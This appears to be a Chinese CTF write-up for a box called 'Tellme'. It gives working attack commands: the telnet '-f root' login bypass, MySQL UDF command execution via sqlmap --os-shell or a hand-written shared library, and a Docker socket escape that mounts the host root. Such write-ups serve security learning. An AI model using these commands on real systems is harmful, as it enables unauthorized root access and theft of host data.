Tellme by zemu

信息搜集

扫到 `22 80 2323 8500` 四个端口

`80 dirsearch + ffuf` 了半天啥也没有，就个模板 `cgi`

`2323` 是个 `telnet` ，但是没有密码

`8500` 是个 `consui` ，有挺多信息，先从这个入手

8500

`Consui` 没有使用过，不过应该是个微服务相关的

这里让 AI 写了个探测工具：https://github.com/ze-mu-zhou/zemuCTF/blob/main/consul_ui.py

在 `KV` 里找到了 `mysql` 的 `root` 密码

输出

```
    "KV 条目数": 1,
    "节点清单": [
      {
        "节点名": "consul_node",
        "地址": "127.0.0.1",
        "数据中心": "dc1"
      }
    ],
    "服务清单": [
      {
        "服务名": "consul",
        "标签": []
      }
    ],
    "KV 解码结果": [
      {
        "Key": "mysql/config/root_pass",
        "Value": "TellMeYouLoveMe"
      }
    ]
  },
```

又探测了常见的网段，发现了 `172.20.0.30:3306` 存活，说明内网有 `mysql` 服务，但是现在暂时进不去

代码块

```
"开放端口(通过)": [
        {
```

```
3           "探针ID": "common_scan_172_17_0_1_80",
4           "目标": "172.17.0.1:80",
5           "状态": "通过",
6           "原始状态": "passing",
7           "输出": "TCP connect 172.17.0.1:80: Success"
8         },
9         {
10          "探针ID": "common_scan_172_17_0_1_8500",
11          "目标": "172.17.0.1:8500",
12          "状态": "通过",
13          "原始状态": "passing",
14          "输出": "TCP connect 172.17.0.1:8500: Success"
15        },
16        {
17          "探针ID": "common_scan_172_20_0_10_23",
18          "目标": "172.20.0.10:23",
19          "状态": "通过",
20          "原始状态": "passing",
21          "输出": "TCP connect 172.20.0.10:23: Success"
22        },
23        {
24          "探针ID": "common_scan_172_20_0_1_80",
25          "目标": "172.20.0.1:80",
26          "状态": "通过",
27          "原始状态": "passing",
28          "输出": "TCP connect 172.20.0.1:80: Success"
29        },
30        {
31          "探针ID": "common_scan_172_20_0_1_8500",
32          "目标": "172.20.0.1:8500",
33          "状态": "通过",
34          "原始状态": "passing",
35          "输出": "TCP connect 172.20.0.1:8500: Success"
36        },
37        {
38          "探针ID": "common_scan_172_20_0_20_8500",
39          "目标": "172.20.0.20:8500",
40          "状态": "通过",
41          "原始状态": "passing",
42          "输出": "TCP connect 172.20.0.20:8500: Success"
43        },
44        {
45          "探针ID": "common_scan_172_20_0_30_3306",
46          "目标": "172.20.0.30:3306",
47          "状态": "通过",
48          "原始状态": "passing",
49          "输出": "TCP connect 172.20.0.30:3306: Success"
```

```
        }
      ],
```

2323

因为 `consui` 内的东西挖的差不多了，不进内网没有办法继续了

所以去爆破了 `telnet` 的密码，但是没爆出来

后面找作者要了提示，发现是 `CVE-2026-24061`

`telnet -l "-f root" 192.168.0.7 2323` 即可直接拿到 `entry_node` 的 `root`

然后找到了 `user.txt`

因为现在已经处于内网，所以可以直接访问之前挖出来的 `172.20.0.30:3306`

`mysql -h 172.20.0.30 -u root -p 'TellMeYouLoveMe'`

然后进入到 `mysql` 里可以发现 `UDF` 是可用的

UDF

`UDF` 是 `User Defined Function` （用户自定义函数），`MySQL` 的一个扩展机制

简单说就是可以写一个 `.so（Linux）` 或 `.dll（Windows）` 共享库

注册到 `MySQL` 里当 `SQL` 函数用

正常用途是扩展 `MySQL` 的功能，比如加个自定义的字符串处理函数

利用前提

- 有 `MySQL root` 权限
- `secure_file_priv` 为空

  > `SHOW VARIABLES LIKE 'secure_file_priv';`
  >
  > 三种结果：
  >
  > - 空值（`''`）→ 可以读写任意路径，`UDF` 可行
  > - 某个路径（如 `/var/lib/mysql-files/`）
  >
  > 只能在该目录下读写，如果 `plugin_dir` 不在这个路径下就写不进去
  >
  > - `NULL` → 完全禁止文件读写，`UDF` 死路
- `plugin_dir` 目录对 `mysql` 用户可写

> `SHOW VARIABLES LIKE 'plugin_dir';`
>
> 然后 `SELECT 'test' INTO DUMPFILE '/usr/lib64/mysql/plugin/test.txt';` 检查可写性

利用方式

自动利用

apt方案

`sudo apt install -y sqlmap && sudo apt install -y python3-pymysql`

`sqlmap` 安装时选择 `Geographic area: 5` 和 `Time zone: 69`

`sqlmap -d "mysql://root:TellMeYouLoveMe@172.20.0.30:3306/mysql" --os-shell`

git方案

`git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /tmp/sqlmap`

`python3 /tmp/sqlmap/sqlmap.py -d "mysql://root:pass@host/db" --os-shell`

wget方案

`wget https://github.com/sqlmapproject/sqlmap/archive/refs/heads/master.zip -O /tmp/sqlmap.zip`

`cd /tmp && unzip sqlmap.zip`

`python3 /tmp/sqlmap-master/sqlmap.py --version`

手动利用

1. 把一个包含 `sys_exec() / sys_eval()` 函数的恶意 `.so` 写入 `MySQL` 的 `plugin_dir`

这里记得把最后的路径改成 `plugin_dir` 输出的路径

这些 `UDF` 可以去 `kali` 下面这个路径找，这里是 `64` 位 `Linux` 的路径

`/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_`

也可以直接去 `msf` 里找现成的

因为 `sqlmap` 默认对 `UDF` 是加密的，先用 `python3` 解一下密

代码块

```
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
    -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
    -o lib_mysqludf_sys.so
```

然后再转为 十六进制

`xxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' | sed 's/^/SELECT UNHEX("/' | sed "s/$/\") INTO DUMPFILE '\/usr\/lib64\/mysql\/plugin\/lib_mysqludf_sys.so';/"`

最后把十六进制放到下面的 `xxxxxx` 里即可

代码块

```
SELECT UNHEX('xxxxxxxxxxxxx') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys.so';
```

2. 执行 `SQL` 注册函数：

`CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';`

`CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';`

`CREATE FUNCTION sys_get  RETURNS STRING  SONAME 'lib_mysqludf_sys.so';`

`CREATE FUNCTION sys_set  RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';`

3. 之后就能在 `SQL` 里直接执行系统命令：

`SELECT CAST(sys_eval('id') AS CHAR);`

返回: `uid=999(mysql) gid=999(mysql) groups=999(mysql),103(docker_host)`

因为这里靶机可以用 `apt` ，就直接用 `sqlmap` 的自动 `UDF` 了

拥有 以 `root` 权限任意执行命令 的能力之后

挖掘了一下发现 `id` 的输出 `group_id` 包括 `docker_host` ，这个组被赋予了 `docker.sock` 的读写权限

所以可以使用 `Docker` 创建容器直接容器逃逸

```
echo eyJJbWFnZSI6Im15c3FsOjUuNyIsIkNtZCI6WyJjYXQiLCIvaG9zdC9yb290L3Jvb3QudHh0Il0sIkhvc3RDb25maWciOnsiQmluZHMiOlsiLzovaG9zdCJdfX0= | base64 -d > /tmp/b.json

curl -s --unix-socket /var/run/docker.sock -X POST -H Content-Type:application/json -d @/tmp/b.json http://v/v1.41/containers/create?name=pwned2

curl -s --unix-socket /var/run/docker.sock -X POST http://v/v1.41/containers/pwned2/start

curl -s --unix-socket /var/run/docker.sock -X POST http://v/v1.41/containers/pwned2/wait

curl -s --unix-socket /var/run/docker.sock http://v/v1.41/containers/pwned2/logs?stdout=1
```

- 第一步：

我们将如下的 `JSON` 配置用 `Base64` 编码后写入到 `/tmp/b.json` 里

代码块

```
//定义了一个容器配置，基于 mysql:5.7 镜像
//启动命令为 cat /host/root/root.txt
//并将宿主机的根目录 / 挂载到容器内的 /host 目录
{
  "Image": "mysql:5.7",
  "Cmd": ["cat", "/host/root/root.txt"],
  "HostConfig": {
    "Binds": ["/:/host"]
  }
}
```

- 第二步：

`--unix-socket /var/run/docker.sock`

通过 `Docker` 的 `Unix` 套接字直接与 `Docker` 守护进程通信（无需认证，相当于拥有 `root` 权限）

`-X POST ... /containers/create?name=pwned2`

调用 `Docker API` 创建一个名为 `pwned2` 的容器，配置来自 `/tmp/b.json`

- 第三步：启动容器
- 第四步：等待容器退出

- 第五步：获取容器日志，拿到 `root flag`

> `root flag` 还有个彩蛋